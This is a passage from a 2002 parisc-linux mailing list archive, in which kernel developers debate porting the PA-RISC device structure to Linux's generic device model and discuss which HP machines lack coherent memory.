@@ -2041,7 +2041,7 @@
  */
 void * sba_get_iommu(struct parisc_device *pci_hba)
 {
-	struct sba_device *sba = (struct sba_device *) pci_hba->parent->sysdata;
+	struct sba_device *sba = parisc_get_drvdata(pci_hba->parent);
 	char t = pci_hba->parent->id.hw_type;
 	int iocnum = (pci_hba->hw_path >> 3);	/* rope # */
 


From - Thu Nov 08 21:25:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Fri, 08 Nov 2002 18:56:11 -0700
Lines: 88
Approved: news@gmane.org
Message-ID: <20021109015611.571B44829@dsl2.external.hp.com>
References: <200211090128.RAA31693@adam.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621888 16502 80.91.229.3 (22 Nov 2014 02:04:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:48 +0000 (UTC)
Cc: James.Bottomley@steeleye.com, parisc-linux@lists.parisc-linux.org
To: "Adam J. Richter" <adam@yggdrasil.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 18:56:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 571B44829; Fri,  8 Nov 2002 18:56:11 -0700 (MST)
In-Reply-To: Message from "Adam J. Richter" <adam@yggdrasil.com> 
   of "Fri, 08 Nov 2002 17:28:05 PST." <200211090128.RAA31693@adam.yggdrasil.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16676

"Adam J. Richter" wrote:
> 	One question about the machine that has no consistent memory
> option: does it take PCI cards?

Adam (and James),
They don't have PCI slots.
I hedge because HP makes a "card-mode Dino" type of card that will
fit into 715 which has a GSCtoPCI bus controller on-board along
with the target PCI device (eg 21143 tulip)

The only non-coherent machines I can think of off hand are fairly old.
Common feature is they have PCX-T and older processor:
	http://hwdb.parisc-linux.org/view.php3?type=cpu&name=PA7000%20(PCX-S)
	http://hwdb.parisc-linux.org/view.php3?type=cpu&name=PA7100%2FPA7150%20(PCX-T)

> If so, then all PCI device drivers
> should theoretically use something like wback_fake_consistent.

I don't think that would fly even if it was needed.

> If not, then it sounds like the facility needs only to apply to
> generic DMA operations for "parisc" bus cards.

I think so.
Matthew "willy" Wilcox is more familiar with the issues than I though.
I've focus'd on systems with PCI.

...
> diff -u -r linux-2.5.46/include/asm-parisc/hardware.h linux/include/asm-paris
>   c/hardware.h
> --- linux-2.5.46/include/asm-parisc/hardware.h	Wed Oct 30 21:32:15 200
>   2
> +++ linux/include/asm-parisc/hardware.h	Fri Nov  8 01:49:09 2002
> @@ -1,6 +1,7 @@
>  #ifndef _PARISC_HARDWARE_H
>  #define _PARISC_HARDWARE_H
>  
> +#include <linux/device.h>
>  #include <asm/pdc.h>
>  
>  struct parisc_device_id {
> @@ -26,14 +27,10 @@
>  struct parisc_device {
>  	unsigned long   hpa;		/* Hard Physical Address */
>  	struct parisc_device_id id;
> -	struct parisc_device *parent;
> -	struct parisc_device *sibling;
> -	struct parisc_device *child;
> -	struct parisc_driver *driver;	/* Driver for this device */

you don't want to do this unless something similar replaces it.
Coherent IO machines depend on the parent/child relationships to
initialize/operate properly.

> -	void		*sysdata;	/* Driver instance private data */
>  	char		name[80];	/* The hardware description */
>  	int		irq;
>  
> +	struct device	device;

making this the first thing in the struct would allow simple
casts to/from each "flavor" of device structure. ie PCI controller
code could look at the struct for any other bus controller safely
(and vice versa).

>  	char		hw_path;        /* The module number on this bus */
>  	unsigned int	num_addrs;	/* some devices have additional address
>    ranges. */
>  	unsigned long	*addr;          /* which will be stored here */
> @@ -66,10 +63,10 @@
>  extern char *cpu_name_version[][2]; /* mapping from enum cpu_type to strings
>    */
>  
>  struct parisc_driver {
> -	struct parisc_driver *next;
>  	char *name; 
>  	const struct parisc_device_id *id_table;
>  	int (*probe) (struct parisc_device *dev); /* New device discovered */

and *dev should point to a struct device?

willy/rbrad really need to review/collaborate with this set of change
since they've put alot of effort into the current scheme.
I'm sure both would be glad to help.

thanks!
grant


From - Thu Nov 08 21:25:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Sat, 9 Nov 2002 03:37:19 +0000
Lines: 102
Approved: news@gmane.org
Message-ID: <20021109033719.R12011__47466.7928218425$1416621889$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <200211090128.RAA31693@adam.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621889 16505 80.91.229.3 (22 Nov 2014 02:04:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:49 +0000 (UTC)
Cc: James.Bottomley@steeleye.com, andmike@us.ibm.com, hch@lst.de,
	parisc-linux@lists.parisc-linux.org,
	Patrick Mochel <mochel@osdl.org>, linux-kernel@vger.kernel.org
To: "Adam J. Richter" <adam@yggdrasil.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 20:37:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB9804829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 20:37:26 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18AMQx-0003rB-00; Sat, 09 Nov 2002 03:37:19 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200211090128.RAA31693@adam.yggdrasil.com>; from adam@yggdrasil.com on Fri, Nov 08, 2002 at 05:28:05PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16677

On Fri, Nov 08, 2002 at 05:28:05PM -0800, Adam J. Richter wrote:
> 	To start with, here is another completely untested patch that
> I haven't even tried to compile that attempts to port the parisc device
> type to the generic device model.  I have deliberately not included any
> changes that would make it dependent on my generic DMA routine facility.

Actually I think the generic device model is crap.  It's failed to live
up to its promise of removing common fields from structs, it's introduced
a new composite filesystem and it's not helped in any concrete way.

Just look at pci_dev:

struct pci_dev {
        struct list_head global_list;   /* node in list of all PCI devices */
        struct list_head bus_list;      /* node in per-bus list */
        struct pci_bus  *bus;           /* bus this device is on */
        struct pci_bus  *subordinate;   /* bus this device bridges to */
        struct proc_dir_entry *procent; /* device entry in /proc/bus/pci */

        unsigned int    devfn;          /* encoded device & function index */
        struct pci_driver *driver;      /* which driver has allocated this devic
e */
        void            *driver_data;   /* data private to the driver */
        struct  device  dev;            /* Generic device interface */
        struct resource resource[DEVICE_COUNT_RESOURCE]; /* I/O and memory regio
ns + expansion ROMs */
        struct resource dma_resource[DEVICE_COUNT_DMA];
        struct resource irq_resource[DEVICE_COUNT_IRQ];
        char            name[90];       /* device name */
}

(there may be some more duplicate fields i've missed)

here's the duplicate fields in struct device:

struct device {
        struct list_head g_list;        /* node in depth-first order list */
        struct list_head node;          /* node in sibling list */
        struct list_head bus_list;      /* node in bus's list */
        struct list_head driver_list;
        struct list_head children;
        struct list_head intf_list;
        struct device   * parent;
        char    name[DEVICE_NAME_SIZE]; /* descriptive ascii string */
        char    bus_id[BUS_ID_SIZE];    /* position on parent bus */

        spinlock_t      lock;           /* lock for the device to ensure two
                                           different layers don't access it at
                                           the same time. */
        atomic_t        refcount;       /* refcount to make sure the device
                                         * persists for the right amount of time
 */

        struct bus_type * bus;          /* type of bus device is on */
        struct device_driver *driver;   /* which driver has allocated this
                                           device */
        void            *driver_data;   /* data private to the driver */
}

Oh, and _that_ embeds a struct kobject:

struct kobject {
        char                    name[KOBJ_NAME_LEN];
        atomic_t                refcount;
        struct list_head        entry;
        struct kobject          * parent;
        struct subsystem        * subsys;
        struct dentry           * dentry;
};

For fucks sake, this is ridiculous.  I haven't dared compare the relative
sizes of struct pci_dev between 2.5, 2.4 and 2.2, but this is sheer bloat.

I was hoping for something _incredibly_ simple from struct device.
Something to replace pci_alloc_consistent with device_alloc_consistent.
Something where I could look through the ancestors of a device to find
out whether it was under a CCIO or just a processor.  Something I could
query to find out whether it was an EISA, a GSC or a PCI device.

I'm disappointed this is trying to serve the needs of USB over the needs
of busses in the box.  I don't think it was even remotely smart to unify
USB with other busses.  And I think the PCI system has suffered the most.
I guess I'm so annoyed because I thought it might solve problems instead
of increasing the amount of user eyecandy.

> 	One question about the machine that has no consistent memory
> option: does it take PCI cards?  If so, then all PCI device drivers
> should theoretically use something like wback_fake_consistent.
> If not, then it sounds like the facility needs only to apply to
> generic DMA operations for "parisc" bus cards.

The only machines which can take any kind of PCI devices that don't
have consistent memory available to them are the T-class machines.
We have no plans to support these machines.  What you do need to watch
out for are machines such as the 735/755 which can take an NCR720 chip
in a non-coherent memory machine.  It is of course also used in machines
which are perfectly capable of allocating consistent memory (whether
through uncached mappings or a cache-coherent IO TLB).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Sat, 9 Nov 2002 03:46:12 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20021109034612.S12011@parcelfarce.linux.theplanet.co.uk>
References: <200211090128.RAA31693@adam.yggdrasil.com> <adam@yggdrasil.com> <20021109015611.571B44829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621889 16506 80.91.229.3 (22 Nov 2014 02:04:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:49 +0000 (UTC)
Cc: "Adam J. Richter" <adam@yggdrasil.com>,
	James.Bottomley@steeleye.com, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 20:46:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6BEC482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 20:46:16 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18AMZY-0003ui-00; Sat, 09 Nov 2002 03:46:12 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021109015611.571B44829@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Fri, Nov 08, 2002 at 06:56:11PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16678

On Fri, Nov 08, 2002 at 06:56:11PM -0700, Grant Grundler wrote:
> They don't have PCI slots.
> I hedge because HP makes a "card-mode Dino" type of card that will
> fit into 715 which has a GSCtoPCI bus controller on-board along
> with the target PCI device (eg 21143 tulip)

Sorry Grant, HP marketing has confused you ;-).  715/33, 715/50 &
715/75 have a PCX-T processor (can't do uncached pages), but don't have
a GSC slot.  715/64, 715/80, 715/100 & 715/100XC have a PCX-L processor
(can do uncached pages), and do have a GSC slot.  The only machines
with GSC and non-coherent memory are the T class (unsupportable..) and
something like an F, G, H or I class with a GeckoBOA adapter... and we
aren't claiming support for those either.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adam J. Richter" <adam@yggdrasil.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Fri, 8 Nov 2002 20:51:28 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <200211090451.UAA26160__34000.7244878963$1416621889$gmane$org@baldur.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621889 16509 80.91.229.3 (22 Nov 2014 02:04:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:49 +0000 (UTC)
Cc: andmike@us.ibm.com, hch@lst.de, James.Bottomley@steeleye.com,
	linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 21:51:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from freya.yggdrasil.com (h-64-105-136-52.SNVACAID.covad.net [64.105.136.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id 545194829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 21:51:46 -0700 (MST)
Original-Received: from baldur.yggdrasil.com (baldur.yggdrasil.com [209.249.10.12])
	by freya.yggdrasil.com (8.9.3/8.9.3) with ESMTP id UAA11592;
	Fri, 8 Nov 2002 20:51:36 -0800
Original-Received: (from adam@localhost)
	by baldur.yggdrasil.com (8.9.3/8.9.3) id UAA26160;
	Fri, 8 Nov 2002 20:51:28 -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16679

Matthew Wilcox wrote:
>Actually I think the generic device model is crap. [...]

My patch is a net deletion of 57 lines and will allow simplification
of parisc DMA allocation.

Although I agree with most of your criticisms about the generic device
model, most of the problems with it are the way people use it (the
first thing everyone wants to do is a driverfs file system) and some
conventions that I disagree with, such as the idea that drivers that
embed struct device and struct device_driver should not initialize
those fields directly, but should have xxx_register_device copy them
in.  parisc can use the generic driver API without getting fat.

Problems specific to the generic device API can be incrementally
improved and nobody is treating it as set in stone.  I think the
generic device API is close enough already so that it's worth porting
to, even if future clean-ups will then require some small changes to
the code that is ported to it.

Please do not throw the baby out with the bath water.  The generic
driver interface in its present form really can make parisc smaller
and cleaner.

Adam J. Richter     __     ______________   575 Oroville Road
adam@yggdrasil.com     \ /                  Miplitas, California 95035
+1 408 309-6081         | g g d r a s i l   United States of America
                         "Free Software For The Rest Of Us."


From - Thu Nov 08 21:25:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Sat, 9 Nov 2002 05:21:50 +0000
Lines: 43
Approved: news@gmane.org
Message-ID: <20021109052150.T12011__2470.42333144254$1416621890$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <200211090451.UAA26160@baldur.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621890 16513 80.91.229.3 (22 Nov 2014 02:04:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:50 +0000 (UTC)
Cc: willy@debian.org, andmike@us.ibm.com, hch@lst.de,
	James.Bottomley@steeleye.com, linux-kernel@vger.kernel.org,
	mochel@osdl.org, parisc-linux@lists.parisc-linux.org
To: "Adam J. Richter" <adam@yggdrasil.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 22:22:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A7D84829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 22:21:59 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18AO46-0004qz-00; Sat, 09 Nov 2002 05:21:50 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200211090451.UAA26160@baldur.yggdrasil.com>; from adam@yggdrasil.com on Fri, Nov 08, 2002 at 08:51:28PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16680

On Fri, Nov 08, 2002 at 08:51:28PM -0800, Adam J. Richter wrote:
> My patch is a net deletion of 57 lines and will allow simplification
> of parisc DMA allocation.

57 lines of clean elegant code, replacing them with overly generic ugly
code and bloated data structures.  struct device is a round 256 bytes
on x86.  more on 64-bit architectures.

> in.  parisc can use the generic driver API without getting fat.

no.  it can't.

> Problems specific to the generic device API can be incrementally
> improved and nobody is treating it as set in stone.  I think the
> generic device API is close enough already so that it's worth porting
> to, even if future clean-ups will then require some small changes to
> the code that is ported to it.

Everyone's saying "ra!  ra!  generic device model!" without asking
what the cost is.  Don't you think it's reasonable that _as the most
common device type_, struct device should be able to support PCI in a
clean manner?  Don't you think that the fact that it fails to do so is
a problem?  Don't you look at the locks sprinkled all over the struct
device system and wonder what they're all _for_?

Don't get me wrong.  I want a generic device model.  But I think it's
clear the current one has failed to show anything more than eye candy.
Perhaps it's time to start over, with something small and sane -- maybe
kobject (it's not quite what we need, but it's close).  Put one of those
in struct pci_dev.  Remove duplicate fields.  Now maybe grow kobject a
little, or perhaps start a new struct with a kobject as its first member.

And, for gods sake, don't fuck it up by integrating it with USB too early
in the game.  Let's get it right for PCI, maybe some other internal busses
(i'm gagging to write an EISA subsystem ;-).  SCSI is more interesting
than USB.  Above all, don't fall into the trap of "It's a bus and it
has devices on it, therefore it must be a part of devicefs".

*sigh*.  halloween was a week ago.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Fri, 8 Nov 2002 22:03:42 -0800
Lines: 71
Approved: news@gmane.org
Message-ID: <20021109060342.GA7798__6331.3384810046$1416621890$gmane$org@kroah.com>
References: <200211090451.UAA26160@baldur.yggdrasil.com> <20021109052150.T12011@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621890 16517 80.91.229.3 (22 Nov 2014 02:04:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:50 +0000 (UTC)
Cc: "Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, James.Bottomley@steeleye.com,
	linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 23:08:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kroah.com (12-231-249-244.client.attbi.com [12.231.249.244])
	by dsl2.external.hp.com (Postfix) with SMTP id 05D0A4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 23:08:19 -0700 (MST)
Original-Received: (qmail 7880 invoked by uid 500); 9 Nov 2002 06:03:42 -0000
Content-Disposition: inline
In-Reply-To: <20021109052150.T12011@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16681

On Sat, Nov 09, 2002 at 05:21:50AM +0000, Matthew Wilcox wrote:
> 
> Everyone's saying "ra!  ra!  generic device model!" without asking
> what the cost is.  Don't you think it's reasonable that _as the most
> common device type_, struct device should be able to support PCI in a
> clean manner?

No I do not.

> Don't you think that the fact that it fails to do so is a problem?

Yes I do.

> Don't you look at the locks sprinkled all over the struct device
> system and wonder what they're all _for_?

Nope :)
(yes, I do wonder, and yes, they will be cleaned up...)

> Don't get me wrong.  I want a generic device model.  But I think it's
> clear the current one has failed to show anything more than eye candy.
> Perhaps it's time to start over, with something small and sane -- maybe
> kobject (it's not quite what we need, but it's close).  Put one of those
> in struct pci_dev.  Remove duplicate fields.  Now maybe grow kobject a
> little, or perhaps start a new struct with a kobject as its first member.

No, lets start pulling stuff out of pci_dev and relying on struct
device.  The reason this hasn't happened yet is no one has been willing
to break all of the PCI drivers, yet.

I know Pat is going to be doing this soon, and if he doesn't get to it,
I will.  But as Adam said, don't throw away the idea because it looks
crufty now.  This has been a _constantly_ evolving model as we work to
get it right.  It will take time, and we are still getting there.

> And, for gods sake, don't fuck it up by integrating it with USB too early
> in the game.

In my defense, USB was the _only_ bus willing to step up and try to do
the integration to work the initial kinks out.  The SCSI people are
being drug kicking and screaming into it, _finally_ now (hell, SCSI is
still not using the updated PCI interface, those people _never_ update
their drivers if they can avoid it.)

> Let's get it right for PCI, maybe some other internal busses
> (i'm gagging to write an EISA subsystem ;-).  SCSI is more interesting
> than USB.  Above all, don't fall into the trap of "It's a bus and it
> has devices on it, therefore it must be a part of devicefs".

Sure SCSI's more interesting, to you :)

By having USB be one of the first adopters (after PCI), we have found a
_lot_ of issues and bugs that happened due to devices showing up and
disappearing at odd times.  Which was _much_ easier to debug than PCI
would have been.  SCSI can't even do hotplug devices _yet_.  How would
we have debugged this stuff then?

And yes, USB belongs in the model, if for no other reason, that "it's a
bus and it has devices on it" :)

> *sigh*.  halloween was a week ago.

Patches for this stuff are going to be happening for quite some time
now, don't despair.

And they are greatly appreciated, and welcomed from everyone :)

thanks,

greg k-h


From - Thu Nov 08 21:25:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 kernel compilation error
Date: Sat, 9 Nov 2002 07:37:59 +0000 (UTC)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211090735060.32930-100000@e0-0.zab2.int.zabbadoz.net>
References: <20021108211301.Q12011@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621890 16521 80.91.229.3 (22 Nov 2014 02:04:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 00:38:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id A91624829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 00:38:14 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 981D31FFE9A; Sat,  9 Nov 2002 08:38:09 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id D42601FFEBE; Sat,  9 Nov 2002 08:38:08 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id C4A4B22E1A; Sat,  9 Nov 2002 07:37:59 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id BB94922E13; Sat,  9 Nov 2002 07:37:59 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <20021108211301.Q12011@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
